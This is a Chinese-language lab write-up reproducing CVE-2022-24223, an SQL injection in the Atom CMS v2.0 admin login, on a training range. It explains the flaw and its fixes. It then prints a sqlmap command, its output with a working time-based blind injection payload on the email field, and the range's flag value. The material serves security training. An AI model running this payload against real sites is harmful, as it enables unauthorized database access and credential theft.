前言
概要 CVE-2022-24223 是一个发现于 Atom CMS v2.0 中的 SQL 注入漏洞。该漏洞存在于 /admin/login.php 文件中,通过该文件,攻击者可以在未经身份验证的情况下执行任意的 SQL 命令。
漏洞描述 该漏洞位于 Atom CMS 的管理员登录页面(/admin/login.php),其中电子邮件字段的用户输入未经过适当的过滤和清理便直接用于 SQL 查询。攻击者可以通过操纵登录表单中的输入字段来注入恶意的 SQL 代码,从而绕过身份验证,访问数据库中的敏感信息,甚至执行管理员操作而不需要合法凭证 (OpenCVE) (TrackCVE)。
影响 成功利用该漏洞的攻击者可以:
- 绕过身份验证,访问 CMS 的管理功能。
- 获取数据库中的敏感信息,例如用户凭证和个人信息。
- 对整个 Web 应用程序进行控制,进一步发起针对网站用户或底层服务器基础设施的攻击 (Feedly) (Security For Everyone)。
漏洞评分 根据 CVSS v3.1 标准,该漏洞的评分为 9.8(严重级别),在 CVSS v2 标准下评分为 7.5(高危级别) (TrackCVE)。
防护措施 为了防止此类 SQL 注入攻击,建议开发者:
- 实施严格的输入验证和清理。
- 使用参数化查询来避免直接在 SQL 查询中使用用户输入的数据。
- 定期进行安全审计和漏洞扫描,以确保及时发现和修复潜在的安全问题。
春秋云镜靶场是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和攻击场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:
实战演练:
提供各种网络安全攻防演练场景,模拟真实的网络攻击事件,帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。
漏洞复现:
用户可以通过平台对已知的安全漏洞进行复现,了解漏洞的产生原因、利用方法和修复措施。
通过实战操作,帮助用户掌握漏洞利用和防护的技能。
教学培训:
提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。
包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。
竞赛与评测:
定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。
资源共享:
平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。
用户可以在社区中分享经验和资源,互相交流和学习。
春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。
介绍
Atom CMS v2.0
Atom CMS 是一个开源内容管理系统,专为简化网站建设和管理而设计。它具有以下主要特点:
主要特性
-
用户友好的界面:
- Atom CMS 提供一个直观的管理界面,使用户能够轻松地添加、编辑和管理网站内容。界面设计简洁,用户无需专业的技术知识即可上手。
-
模块化设计:
- 该 CMS 具有模块化的架构,允许用户根据需要安装和卸载不同的模块,从而扩展网站的功能。例如,可以添加新闻发布、博客、相册等模块。
-
模板系统:
- Atom CMS 支持自定义模板,使用户能够根据自己的需求设计和调整网站的外观和布局。模板系统灵活,支持各种前端框架和设计风格。
-
多用户管理:
- 系统允许多个用户同时管理网站,并且可以为不同的用户分配不同的角色和权限。这确保了网站的安全性和管理的便捷性。
-
内容版本控制:
- Atom CMS 具备内容版本控制功能,用户可以跟踪内容的修改历史,并在需要时恢复到以前的版本。这在内容管理和维护中非常有用。
-
多语言支持:
- 该 CMS 支持多语言功能,使用户能够创建和管理多语言网站,满足不同地区和语言用户的需求。
-
搜索引擎优化(SEO):
- Atom CMS 提供了一系列内置的 SEO 工具,帮助用户优化网站在搜索引擎中的排名,提高网站的可见性和访问量。
应用场景
- 企业网站:适合中小型企业创建企业网站,展示公司信息和服务。
- 个人博客:个人用户可以使用 Atom CMS 创建和管理博客,分享个人观点和生活点滴。
- 非营利组织网站:适合非营利组织创建信息门户,宣传组织的活动和项目。
社区和支持
Atom CMS 拥有一个活跃的开发者和用户社区,提供丰富的资源和支持。用户可以在论坛、邮件列表和社交媒体上找到帮助和建议。此外,官方还提供详细的文档和教程,帮助用户了解和使用系统的各项功能。
通过其强大的功能和灵活的设计,Atom CMS v2.0 是一个适用于各种网站建设需求的内容管理系统。用户可以根据自己的需求进行定制和扩展,轻松管理和维护网站内容。
漏洞复现
打开靶场
进入靶场是这样一个东西
这里不存在漏洞点,漏洞点在 admin/login.php 中
随便输入数值登录
打开 BurpSuite 拦截数据包
复制数据包的值到 txt 文件中
这里跳过了前面爆库爆表环节,直接找 flag
┌──(root㉿kali)-[~]
└─# sqlmap -r sqlmap-post.txt -D "atomcms" -T "flag" --dump -v
___
__H__
___ ___[.]_____ ___ ___ {1.8.4#stable}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:50:24 /2024-07-03/
[20:50:24] [INFO] parsing HTTP request from 'sqlmap-post.txt'
[20:50:24] [INFO] resuming back-end DBMS 'mysql'
[20:50:24] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=123@123' AND (SELECT 1723 FROM (SELECT(SLEEP(5)))wLUx) AND 'BIkI'='BIkI&password=123
---
[20:50:24] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:50:24] [INFO] fetching columns for table 'flag' in database 'atomcms'
[20:50:24] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[20:50:27] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
1
[20:50:45] [INFO] retrieved: flag
[20:51:48] [INFO] fetching entries for table 'flag' in database 'atomcms'
[20:51:48] [INFO] fetching number of entries for table 'flag' in database 'atomcms'
[20:51:48] [INFO] retrieved: 1
[20:51:54] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
flag{a5086810-1062-41c2-b1dd-b167d983a966}
Database: atomcms
Table: flag
[1 entry]
+--------------------------------------------+
| flag |
+--------------------------------------------+
| flag{a5086810-1062-41c2-b1dd-b167d983a966} |
+--------------------------------------------+
[21:03:49] [INFO] table 'atomcms.flag' dumped to CSV file '/root/.local/share/sqlmap/output/eci-2zealxppdxmz7ojcz3y9.cloudeci1.ichunqiu.com/dump/atomcms/flag.csv'
[21:03:49] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zealxppdxmz7ojcz3y9.cloudeci1.ichunqiu.com'
[*] ending @ 21:03:49 /2024-07-03/